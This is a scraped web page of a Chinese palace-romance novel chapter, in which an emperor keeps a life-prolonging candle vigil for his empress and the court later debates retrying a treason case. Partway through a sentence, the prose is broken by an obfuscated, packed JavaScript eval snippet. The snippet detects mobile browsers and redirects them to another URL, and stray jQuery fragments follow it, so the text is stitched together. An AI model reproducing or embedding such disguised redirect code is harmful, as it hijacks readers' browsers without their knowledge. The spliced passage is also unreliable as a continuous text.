默认冷灰
24号文字
方正启体

95. 续命

作者:汀渌本书字数:K更新时间:
    入夜后,禅房内燃起了一盏烛灯。


    看了一眼昏睡中的晏宁,慈恩眸光寂寂地说道:“若天亮前此灯不灭,便算是续命成功。若不幸熄灭,便是天意难违,你也莫要再为难于我。”


    “我明白……”萧御低沉地应了一声,目光再度落在了晏宁的脸上。


    看着他一副为情所困的模样,慈恩在心底默默地叹了口气,而后颓然转身,离开了禅房。


    他走后,萧御便坐在床前,一边握着晏宁的手,一边盯着燃烧的烛灯。


    当他遭遇埋伏中箭落马时,脑海中浮现的却是晏宁的身影。


    他答应过她要活着回到上京,可重伤昏迷后却被萧恒夺了身体。


    魂灵离体后,他就坠入了一片虚无中,浑浑噩噩,了无生机。


    若不是心底的那一丝执念,他怕是早就魂飞魄散了。


    如今他终于回来了,可晏宁却几乎为他丢了命。


    他何其幸运,能得她如此真心。


    只要她能活下来,二十载春秋又如何?他会培养出一个合格的继任者,再陪她去看江南烟雨、塞外秋霜。


    当夜色越来越深,天际却突然炸响了一道惊雷,紧接着便是一阵狂暴的风雨。


    纵使门窗紧闭,却还是有一股风从门缝里透了进来。


    眼看烛火因风飘摇,他立刻松开晏宁的手,拿起一床薄被就堵住了漏风的门缝。


    至此,摇晃的烛火渐渐归于平静,而他也总算是松了口气。


    到了下半夜,猛烈的风雨逐渐平息,只有檐下的雨水落在窗沿,发出滴滴答答的清脆响声。


    因为熬了太久,眼皮几乎要粘连在一起。所以他不断地掐着手心,试图用疼痛来驱散疲倦。


    就这么一直熬到了破晓,当第一缕阳光划破夜色时,那一盏烛灯也终于烧到了尽头。


    烛火熄灭后,沉睡中的晏宁缓缓睁开了眼睛。


    “你终于醒了……”


    望着那一双欢喜雀跃的眼眸,晏宁心口一滞,良久才回过神来。可一开口却哽住了喉。


    “萧御……”


    “我在!”伴随着一声温柔的回答,他激动地握住了她伸向自己的手。


    “你回来了!”


    原来血祭真的有用,她真的召回了萧御的魂灵。


    “我回来了,是你救了我。”


    “太好了……”


    “你知不知道,为了救我,你差一点就死了。”


    想起她倒在血泊中的场景,他的心头仍笼罩着一层阴云。


    将他的紧张看在眼里,晏宁唇角一动,缓慢地挤出一抹笑容:“所以,我还活着,是吗?”


    看着她故作轻松的模样,萧御喉头一紧,瞬间红了眼眶。


    “还好你平安无事,否则,我永远都不会原谅自己。”


    听着他几近哽咽的话,晏宁顿时心生动容:“你别这么说……”


    “我……”就在他准备表明心迹时,慈恩却忽然推门而入。


    瞥见燃尽的烛灯后,他眸光一动,心下当即了然。


    “人醒了?”


    “嗯。”萧御轻轻应了一声,抬眸时,眼底充满感激,“有劳了……”


    听着他的道谢,慈恩却不以为然地冷哼一声。


    “既然醒了,那就赶紧走吧!”


    见他如此不近人情,萧御眉心一皱,正要开口抗议时,晏宁却伸手扯住了他的衣袖。


    当他转过头来时,却见晏宁平静地摇了摇头。


    知道她想要息事宁人,萧御眸光一紧,漫长的沉默后终是溢出一声沉郁的叹息。


    “倒也不必你赶,午后我们自会离开。”


    “如此,甚好!”


    一声冷漠的回应后,慈恩蓦然转身,近乎倨傲地走出了禅房。


    ***


    半日的休养后,他们终是坐上了回宫的马车。


    山间道路崎岖不平,数次的震荡中,萧御一直将她护在怀里。


    哪怕是在回宫后,萧御也不顾众人的侧目,亲自将她抱下了马车。


    见他抱着的人是皇后,前来接驾的秦仲顿时怔住了。


    从长宁殿到凤仪宫,哪怕路途遥远,哪怕汗流浃背,他也不曾停下过脚步。


    当他抱着晏宁走入正殿的时候,看见的却是面如死灰的明漪。


    原来晏宁离宫的当晚,负责值夜的明漪就发现了端倪。


    可当她冲破青橘的阻拦,冒险闯入寝宫时,殿内早已人去楼空。


    一番追问下,她才得知晏宁是尾随萧御去了感业寺。


    她虽担心主子的安危,却也不敢将事情闹大,只能帮着青橘一起隐瞒。


    原以为次日黄昏,晏宁就能平安归来,可宫门都已经落钥,她却依旧音讯全无。


    担惊受怕了一整夜,直到天亮,她才拉着青橘商量对策,可青橘却哭着告诉她,皇后娘娘怕是回不来了。


    “你胡说什么?好好的,皇后娘娘怎么就回不来了……”


    在她惊惶不安的追问下,青橘这才哭着道出了原委。


    什么夺舍,什么血祭,那惊悚的说辞听得明漪心神大乱,也吓得她魂不附体。


    而就在她万念俱灰时,萧御却抱着晏宁,安然无恙地出现在了这凤仪宫的主殿里。


    看见晏宁的那一刻,喜悦冲破了恐惧的牢笼,在绝望的缝隙里生出了藤蔓。


    大喜过望的她忍不住浑身发颤,嘴唇哆嗦得连一个音节也发不出来。


    将她的激动看在眼里,萧御眸光一闪,眼底生出一抹温润的笑意。


    “我们回来了!”


    她很想起身相迎,可双腿却因颤抖而酸软无力,以至于四肢僵硬动弹不得。


    好在萧御并未苛责什么,朝她投去了一个宽慰的眼神后,就抱着晏宁往寝宫而去。


    而他们进门时,青橘和乳母正在安抚哭闹不止的萧稷。


    听到脚步声后,她便警觉地转身抬眸,而当她看见萧御怀抱晏宁而来时,她就瞬间湿了眼眸。


    “娘娘……”


    她甚至忽略了萧御,满心满眼都只剩下面容苍白的晏宁。


    见她哽咽落泪,晏宁挤出了一抹虚弱的安慰:“别哭了,本宫这不是回来了嘛……”


    看着她故作轻松的模样,青橘心中越发难受。


    然而下一刻,萧御就已将她抱到了凤榻上。


    “从现在开始,你必须好好休养,切莫再逞强!”


    “好。”


    在经历了一场濒死的浩劫和失而复得后,她变得格外温顺。


    可休养的过程实在是太过漫长。


    整整一个月的时间,她连凤仪宫的大门都没有出过。


    为了陪她,萧御几乎一有功夫就往凤仪宫跑,连奏折都带到了她的寝宫来。


    每一次他批阅奏折的时候,晏宁都在百无聊赖地翻看话本故事。


    好不容易熬到徐太医的最后一次复诊,当她终于能下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231800|184108||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    床走动时,前朝却发生了一件大事。


    关押在大理寺监牢的裴长清竟险些遭人毒杀。


    可一个已经被判了死刑的罪臣,一个早晚都要死的人,又会有谁跟他过不去呢?


    当此事传开后,沉默多时的裴家敲响了大理寺外的登闻鼓。


    而击鼓之人正是裴长清的胞妹裴清婉。


    当她冒死滚过钢钉铁板,扎得遍体鳞伤、血流不止时,却还在为她的兄长鸣冤叫屈。


    “我兄长绝不会行悖逆谋害之事……”


    她为兄伸冤的壮举很快就传遍了上京,一时间市井百姓议论不止,连大理寺的风评都受到了影响。


    面对百姓的质疑,大理寺卿陆肇不得不在朝堂上奏请皇帝允许他重审此案。


    但不等萧御发话,吏部的一名官员就站了出来。


    “此案早有定论,且人证物证一应俱全,岂能因无端揣测就推翻重审?微臣以为,皇上不必理会市井之言。”


    “可裴长清的胞妹敲响了登闻鼓,又捱过了钉板酷刑,若不重审,恐怕难以平息民愤。”


    “市井之间多是无知小民,没准就是裴家不服判罚有意挑事。”


    “刘大人怕是不知那钉板的厉害,若无冤情,裴清婉一介柔弱女子,又岂会为此赌上性命?”


    “久闻裴家女子有倾城之貌,陆大人此番究竟是为了平息民愤,还是对那女子生出了恻隐之心,不忍她白白遭罪?”


    “你胡说什么……”


    “是不是胡说,陆大人心里清楚。”


    “你……”


    见场面濒临失控,萧御眉心一沉,当即厉声斥责:“都给朕住口!”


    “皇上息怒!”


    见他勃然大怒,二人停下了争执,双双跪倒在地。


    一时间,立于朝堂之上的臣子无不心惊肉跳。


    可萧御却并未追责,而是喜怒不明地看向了站在最前列的钱懋。


    “钱大人,若依你来看,此事应当如何?”


    被点到名的钱懋眸光一紧,而后垂首走出队列。


    “一旦重审此案,百姓们便会质疑大理寺的办案能力。届时无论裴长清是否有罪,都会引发更大的猜忌。况且此案证据确凿,微臣以为实在是没有重审的必要。”


    闻言,萧御神色微变,凝眸看向了默不作声的晏舟。


    “太傅以为如何?”


    “常言道:防民之口甚于防川。既然百姓们议论不止,那朝廷就不能忽视。无论结果如何,都能彰显皇上对民意的重视,微臣以为,此案必须重审。”


    到底是国丈,他话音刚落便有人开口响应。


    “晏太傅所言甚是。”


    “事关朝廷声誉,岂可置之不理?”


    “谋害皇后,便是存心要动摇江山社稷。倘若裴长清真的无辜,那么幕后真凶便更是可怕。”


    “行刺皇后,陷害朝臣,若真有这样的事,还请皇上务必要将此人揪出,以免再生祸端!”


    一时间,附和声无数。


    见状,萧御眸光一敛,眼底划过一抹得意。


    “大理寺卿陆肇上前听旨!”


    “是。”闻言,陆肇精神一振,当即起身听令。


    “即日起,便由大理寺重审裴长清行刺一案,务必要查明事实,给裴家一个说法,也给大周百姓一个公正的交代!”


    “微臣遵旨!”


    陆肇抱拳应声之时,垂眸不语的钱懋却骤然眸光一冷。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)